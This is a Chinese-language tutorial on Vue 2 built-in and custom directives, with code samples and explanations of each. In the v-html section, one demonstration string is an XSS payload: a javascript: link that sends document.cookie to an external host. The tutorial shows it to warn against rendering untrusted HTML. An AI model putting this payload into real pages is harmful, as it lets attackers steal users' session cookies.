内置指令与自定义指令
内置指令
内置指令是Vue编写好的，用户可以直接使用，在以往的学习中，我们使用学习过了。
v-bind : 单向绑定解析表达式, 可简写为 :xxx
v-model : 双向数据绑定
v-for : 遍历数组/对象/字符串
v-on : 绑定事件监听, 可简写为@
v-if : 条件渲染（动态控制节点是否存存在）
v-else : 条件渲染（动态控制节点是否存存在）
v-show : 条件渲染 (动态控制节点是否展示)
这些都是内置指令，除了这些内置指令，还有v-text、v-html、v-cloak、v-once、v-pre。
v-text
我们学过的指令：
v-text指令：
1.作用：向其所在的节点中渲染文本内容。
2.与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会。
具体使用如下所示。
<body>
<div id="demo">
<div>你好，{{name}}</div>
<div v-text="name"></div>
<div v-text="str"></div>
</div>
<script type="text/javascript">
new Vue({
el: '#demo',
data: {
name: 'Revin',
str: '<h3>hello,Revin</h3>'
}
})
</script>
</body>
结果如下
v-html
v-html指令：
1.作用：向指定节点中渲染包含html结构的内容。
2.与插值语法的区别：
(1).v-html会替换掉节点中所有的内容，{{xx}}则不会。
(2).v-html可以识别html结构。
3.严重注意：v-html有安全性问题！！！！
(1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。
(2).一定要在可信的内容上使用v-html，永不要用在用户提交的内容上！
具体使用如下所示。
<body>
<div id="demo">
<div>你好，{{name}}</div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
<script type="text/javascript">
new Vue({
el: '#demo',
data: {
name: 'Revin',
str: '<h3>你好啊,Revin</h3>',
str2: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>漏洞</a>',
}
})
</script>
</body>
运行结果如下
v-cloak
v-cloak指令（没有值）：
1.本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。
2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
具体使用如下所示。
<head>
<meta charset="UTF-8" />
<title>v-cloak</title>
<style>
[v-cloak] {
display: none;
}
</style>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="demo">
<h2 v-cloak>{{name}}</h2>
</div>
<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
<script type="text/javascript">
console.log(1)
new Vue({
el: '#demo',
data: {
name: 'Revin'
}
})
</script>
</body>
运行结果为
控制台先出现1，经过五秒后名字会显示在页面上。
v-once
v-once指令：
1.v-once所在节点在初次动态渲染后，就视为静态内容了。
2.以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。
具体使用如下所示。
<body>
<div id="demo">
<h2 v-once>初始化的n值是:{{n}}</h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
<script type="text/javascript">
new Vue({
el: '#demo',
data: {
n: 1
}
})
</script>
</body>
运行结果如下
当点击按钮时下方n值会增加，而上方n值因为使用了v-once所以在初次渲染后被视为了静态内容，因此不会变化。
v-pre
v-pre指令：
1.跳过其所在节点的编译过程。
2.可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。
具体使用如下所示。
<body>
<div id="demo">
<h2 v-pre>跳过编译</h2>
<h2>跳过编译{{n}}</h2>
<h2 v-pre>跳过编译{{n}}</h2>
</div>
<script type="text/javascript">
new Vue({
el: '#demo',
data: {
n: 2
}
})
</script>
</body>
运行结果如下。
由于第三个h2标签使用了插值语法并且设置了v-pre因此跳过编译，没有获取到Vue中的数据，因此无法在界面中展示出来。
自定义指令
自定义指令不同于内置指令
自定义指令时用户自己定义的指令，用户自己定义的指令在使用的时候仍然为v-xxx。其中xxx为用户自定义名称。
在编写自定义指令时，将编写的自定义指令写在Vue的directives（局部指令）中，在全局指令中将指令定义到Vue.directive中。自定义指令有两种写法分别为函数式与对象式，同时自定义指令又分为局部指令与全局指令
函数式
在自定义指令中有两个参数。即element,binding。其中element为所操作的元素，binding为你获得的数据，其中含有binding.value为vue实例中的值。binding.expression为原内容。
函数式的具体写法如下所示
需要注意的是函数式自定义指令只会在如下情况中被调用
1.指令与元素成功绑定时（一上来）。
2.指令所在的模板被重新解析
<body>
<div id="demo">
<h2>当前的n值是：<span v-text="n"></span> </h2>
<!-- n+1是 -->
<h2>n+1是：<span v-add1="n"></span> </h2>
</div>
<script type="text/javascript">
new Vue({
el: '#demo',
data: {
n: 1
},
directives: {
//add1函数何时会被调用？1.指令与元素成功绑定时（一上来）。2.指令所在的模板被重新解析时。
add1(element, binding) {
console.log('big', this) //注意此处的this是window
element.innerText = binding.value +1
},
}
})
</script>
</body>
对象式
对象式定义自定义指令的写法如下所示。与函数式不同，对象式传入的是一个配置对象。对象式可以根据不同情况，调用不同功能。
其中
bind为指令与元素成功绑定时（一上来）
inserted为指令所在元素被插入页面时
update为指令所在的模板被重新解析时
<body>
<div id="demo">
<input type="text" v-fbind:value="n">
<button @click="n++">点我n+1</button>
</div>
<script type="text/javascript">
new Vue({
el: '#demo',
data: {
n: 1
},
directives: {
fbind: {
//指令与元素成功绑定时（一上来）
bind(element, binding) {
element.value = binding.value
},
//指令所在元素被插入页面时
inserted(element, binding) {
element.focus()
},
//指令所在的模板被重新解析时
update(element, binding) {
element.value = binding.value
}
}
}
})
</script>
</body>
运行结果如下所示
分析：
1.当input框与指令绑定成功后，input获取n的值作为自身的value值
2.当input框成功插入页面后，将焦点获取到框内
3.当数据变化，模板重新解析的时候，将更新的n的值获取，作为自身的value值，并且焦点失去。
局部指令
Vue实例中在directives:里定义的自定义指令只能用于自身。其他的Vue无法直接使用。上述两个例子都是局部指令。
全局指令
在Vue.directive中定义的指令则为全局指令，可以用于各个Vue实例中。
全局指令的使用如下所示。
Vue.directive('fbind',{
//指令与元素成功绑定时（一上来）
bind(element,binding){
element.value = binding.value
},
//指令所在元素被插入页面时
inserted(element,binding){
element.focus()
},
//指令所在的模板被重新解析时
update(element,binding){
element.value = binding.value
}
})
自定义指令的注意事项
一、定义语法：
(1).局部指令：
new Vue({ new Vue({
directives:{指令名:配置对象} 或 directives{指令名:回调函数}
}) })
(2).全局指令：
Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)
二、配置对象中常用的3个回调：
(1).bind：指令与元素成功绑定时调用。
(2).inserted：指令所在元素被插入页面时调用。
(3).update：指令所在模板结构被重新解析时调用。
三、备注：
1.指令定义时不加v-，但使用时要加v-；
2.指令名如果是多个单词，要使用kebab-case命名方式，不要用camelCase命名。
1715
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
